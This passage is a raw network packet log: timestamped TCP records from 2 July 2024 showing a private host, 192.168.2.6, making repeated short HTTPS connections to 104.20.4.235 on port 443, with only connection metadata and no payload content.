Jul 2, 2024 16:32:36.924264908 CEST	54973	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.924778938 CEST	54973	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.925864935 CEST	54974	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.925890923 CEST	443	54974	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.926067114 CEST	54974	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.926197052 CEST	54974	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.926213026 CEST	443	54974	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:37.422780991 CEST	443	54974	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:37.424559116 CEST	54974	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:37.424580097 CEST	443	54974	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:37.559184074 CEST	443	54974	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:37.559289932 CEST	443	54974	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:37.559335947 CEST	54974	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:37.560004950 CEST	54974	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:37.561425924 CEST	54975	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:37.561460972 CEST	443	54975	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:37.561517000 CEST	54975	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:37.561856031 CEST	54975	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:37.561866999 CEST	443	54975	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.027712107 CEST	443	54975	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.029506922 CEST	54975	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.029525042 CEST	443	54975	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.168620110 CEST	443	54975	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.168755054 CEST	443	54975	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.168809891 CEST	54975	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.169557095 CEST	54975	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.171308041 CEST	54976	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.171333075 CEST	443	54976	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.171408892 CEST	54976	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.171689034 CEST	54976	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.171703100 CEST	443	54976	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.662446022 CEST	443	54976	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.663806915 CEST	54976	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.663834095 CEST	443	54976	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.821039915 CEST	443	54976	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.821146965 CEST	443	54976	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.821254969 CEST	54976	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.821932077 CEST	54976	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.824786901 CEST	54977	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.824831963 CEST	443	54977	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:38.825289011 CEST	54977	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.825320005 CEST	54977	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:38.825326920 CEST	443	54977	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:39.293809891 CEST	443	54977	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:39.300798893 CEST	54977	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:39.300817013 CEST	443	54977	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:39.435523987 CEST	443	54977	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:39.435632944 CEST	443	54977	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:39.435695887 CEST	54977	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:39.436387062 CEST	54977	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:39.437871933 CEST	54978	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:39.437899113 CEST	443	54978	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:39.437968969 CEST	54978	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:39.438373089 CEST	54978	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:39.438393116 CEST	443	54978	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:39.907546997 CEST	443	54978	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:39.909291029 CEST	54978	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:39.909315109 CEST	443	54978	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:40.057701111 CEST	443	54978	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:40.057822943 CEST	443	54978	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:40.057883978 CEST	54978	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.058849096 CEST	54978	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.060885906 CEST	54979	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.060920954 CEST	443	54979	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:40.060982943 CEST	54979	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.061319113 CEST	54979	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.061332941 CEST	443	54979	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:40.530193090 CEST	443	54979	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:40.534831047 CEST	54979	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.534851074 CEST	443	54979	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:40.673377991 CEST	443	54979	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:40.673494101 CEST	443	54979	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:40.673888922 CEST	54979	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.674596071 CEST	54979	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.679018021 CEST	54980	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.679047108 CEST	443	54980	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:40.679280043 CEST	54980	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.682799101 CEST	54980	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:40.682813883 CEST	443	54980	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:41.298120975 CEST	443	54980	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:41.303030014 CEST	54980	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:41.303046942 CEST	443	54980	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:41.648469925 CEST	443	54980	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:41.648588896 CEST	443	54980	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:41.648636103 CEST	54980	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:41.649360895 CEST	54980	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:41.650603056 CEST	54981	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:41.650635004 CEST	443	54981	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:41.650698900 CEST	54981	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:41.651004076 CEST	54981	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:41.651022911 CEST	443	54981	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.133688927 CEST	443	54981	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.135623932 CEST	54981	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.135643005 CEST	443	54981	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.263032913 CEST	443	54981	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.263119936 CEST	443	54981	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.263186932 CEST	54981	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.263832092 CEST	54981	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.265335083 CEST	54982	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.265361071 CEST	443	54982	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.265429974 CEST	54982	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.266022921 CEST	54982	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.266043901 CEST	443	54982	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.730997086 CEST	443	54982	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.732781887 CEST	54982	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.732799053 CEST	443	54982	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.900654078 CEST	443	54982	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.900779009 CEST	443	54982	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.900944948 CEST	54982	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.904788971 CEST	54982	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.904789925 CEST	54983	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.904828072 CEST	443	54983	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:42.904972076 CEST	54983	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.908829927 CEST	54983	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:42.908852100 CEST	443	54983	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.219595909 CEST	443	54983	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.221426964 CEST	54983	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.221445084 CEST	443	54983	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.359390020 CEST	443	54983	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.359481096 CEST	443	54983	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.359565973 CEST	54983	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.360239029 CEST	54983	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.361635923 CEST	54984	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.361674070 CEST	443	54984	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.361743927 CEST	54984	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.362107992 CEST	54984	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.362116098 CEST	443	54984	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.832232952 CEST	443	54984	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.836138010 CEST	54984	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.836169958 CEST	443	54984	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.967886925 CEST	443	54984	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.968019009 CEST	443	54984	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.973371029 CEST	54984	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.973371029 CEST	54984	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.975796938 CEST	54985	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.975828886 CEST	443	54985	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:44.976139069 CEST	54985	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.976139069 CEST	54985	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:44.976165056 CEST	443	54985	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:45.453402996 CEST	443	54985	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:45.455133915 CEST	54985	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:45.455163002 CEST	443	54985	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:45.603962898 CEST	443	54985	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:45.604063988 CEST	443	54985	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:45.604104042 CEST	54985	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:45.604855061 CEST	54985	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:45.606321096 CEST	54986	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:45.606349945 CEST	443	54986	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:45.606462002 CEST	54986	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:45.606632948 CEST	54986	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:45.606645107 CEST	443	54986	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.103869915 CEST	443	54986	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.105761051 CEST	54986	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.105789900 CEST	443	54986	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.255386114 CEST	443	54986	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.255512953 CEST	443	54986	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.255595922 CEST	54986	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.256330967 CEST	54986	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.257560015 CEST	54987	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.257592916 CEST	443	54987	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.257694006 CEST	54987	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.258013010 CEST	54987	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.258028030 CEST	443	54987	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.755424023 CEST	443	54987	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.758856058 CEST	54987	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.758883953 CEST	443	54987	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.925178051 CEST	443	54987	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.925280094 CEST	443	54987	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.930840969 CEST	54987	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.934874058 CEST	54987	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.945298910 CEST	54988	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.945336103 CEST	443	54988	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:46.945590973 CEST	54988	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.946834087 CEST	54988	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:46.946849108 CEST	443	54988	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:47.438893080 CEST	443	54988	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:47.440485001 CEST	54988	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:47.440504074 CEST	443	54988	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:47.595571995 CEST	443	54988	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:47.595688105 CEST	443	54988	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:47.595736027 CEST	54988	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:47.596350908 CEST	54988	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:47.597781897 CEST	54989	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:47.597815990 CEST	443	54989	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:47.597877026 CEST	54989	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:47.598182917 CEST	54989	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:47.598200083 CEST	443	54989	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.218019962 CEST	443	54989	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.219552040 CEST	54989	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.219559908 CEST	443	54989	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.368257046 CEST	443	54989	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.368361950 CEST	443	54989	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.368443966 CEST	54989	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.368990898 CEST	54989	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.370317936 CEST	54990	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.370342970 CEST	443	54990	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.370424032 CEST	54990	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.370697021 CEST	54990	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.370711088 CEST	443	54990	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.837013960 CEST	443	54990	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.840004921 CEST	54990	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.840033054 CEST	443	54990	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.984530926 CEST	443	54990	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.984622955 CEST	443	54990	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.985086918 CEST	54990	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.986372948 CEST	54991	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.986418009 CEST	443	54991	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:48.986443996 CEST	54990	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.986519098 CEST	54991	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.987368107 CEST	54991	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:48.987382889 CEST	443	54991	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:49.457596064 CEST	443	54991	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:49.459137917 CEST	54991	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:49.459171057 CEST	443	54991	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:49.600538015 CEST	443	54991	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:49.600649118 CEST	443	54991	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:49.600727081 CEST	54991	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:49.601346016 CEST	54991	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:49.602914095 CEST	54992	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:49.602952003 CEST	443	54992	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:49.603070974 CEST	54992	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:49.603292942 CEST	54992	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:49.603307962 CEST	443	54992	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.094727993 CEST	443	54992	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.096290112 CEST	54992	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.096302032 CEST	443	54992	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.246507883 CEST	443	54992	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.246613026 CEST	443	54992	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.246654987 CEST	54992	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.247453928 CEST	54992	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.248935938 CEST	54993	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.248961926 CEST	443	54993	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.249027967 CEST	54993	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.249321938 CEST	54993	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.249330044 CEST	443	54993	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.735723019 CEST	443	54993	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.742435932 CEST	54993	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.742450953 CEST	443	54993	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.878757954 CEST	443	54993	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.878859043 CEST	443	54993	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.879081011 CEST	54993	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.879561901 CEST	54993	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.882447958 CEST	54994	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.882476091 CEST	443	54994	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:50.882617950 CEST	54994	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.882826090 CEST	54994	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:50.882833958 CEST	443	54994	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:51.369466066 CEST	443	54994	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:51.372003078 CEST	54994	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:51.372010946 CEST	443	54994	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:51.514277935 CEST	443	54994	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:51.514404058 CEST	443	54994	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:51.514447927 CEST	54994	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:51.515106916 CEST	54994	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:51.516509056 CEST	54995	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:51.516552925 CEST	443	54995	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:51.516638041 CEST	54995	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:51.517008066 CEST	54995	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:51.517023087 CEST	443	54995	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:51.999176025 CEST	443	54995	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.000751019 CEST	54995	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.000762939 CEST	443	54995	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.142167091 CEST	443	54995	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.142290115 CEST	443	54995	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.142338991 CEST	54995	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.142931938 CEST	54995	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.144408941 CEST	54996	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.144439936 CEST	443	54996	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.144499063 CEST	54996	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.144790888 CEST	54996	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.144798040 CEST	443	54996	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.612286091 CEST	443	54996	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.615956068 CEST	54996	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.615967989 CEST	443	54996	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.744357109 CEST	443	54996	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.744467020 CEST	443	54996	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.744537115 CEST	54996	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.745362997 CEST	54996	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.746457100 CEST	54997	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.746507883 CEST	443	54997	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:52.746611118 CEST	54997	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.746907949 CEST	54997	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:52.746926069 CEST	443	54997	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:53.236613989 CEST	443	54997	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:53.239975929 CEST	54997	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:53.240009069 CEST	443	54997	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:53.390481949 CEST	443	54997	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:53.390599012 CEST	443	54997	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:53.390650988 CEST	54997	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:53.391184092 CEST	54997	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:53.392390013 CEST	54998	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:53.392417908 CEST	443	54998	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:53.392507076 CEST	54998	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:53.392707109 CEST	54998	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:53.392721891 CEST	443	54998	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:53.886898994 CEST	443	54998	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:53.888478041 CEST	54998	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:53.888499975 CEST	443	54998	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:54.026215076 CEST	443	54998	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:54.026341915 CEST	443	54998	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:54.026393890 CEST	54998	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.026981115 CEST	54998	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.028496027 CEST	54999	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.028537035 CEST	443	54999	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:54.028608084 CEST	54999	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.028827906 CEST	54999	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.028841019 CEST	443	54999	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:54.492382050 CEST	443	54999	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:54.493707895 CEST	54999	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.493724108 CEST	443	54999	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:54.620179892 CEST	443	54999	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:54.620275021 CEST	443	54999	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:54.620340109 CEST	54999	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.620841026 CEST	54999	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.622034073 CEST	55000	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.622059107 CEST	443	55000	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:54.622189045 CEST	55000	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.622369051 CEST	55000	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:54.622376919 CEST	443	55000	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.085042953 CEST	443	55000	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.090001106 CEST	55000	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.090009928 CEST	443	55000	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.215372086 CEST	443	55000	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.215488911 CEST	443	55000	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.216905117 CEST	55000	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.218427896 CEST	55000	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.218461037 CEST	55001	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.218496084 CEST	443	55001	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.220921993 CEST	55001	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.224812031 CEST	55001	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.224833012 CEST	443	55001	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.690495968 CEST	443	55001	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.691864014 CEST	55001	443	192.168.2.6	104.20.4.235
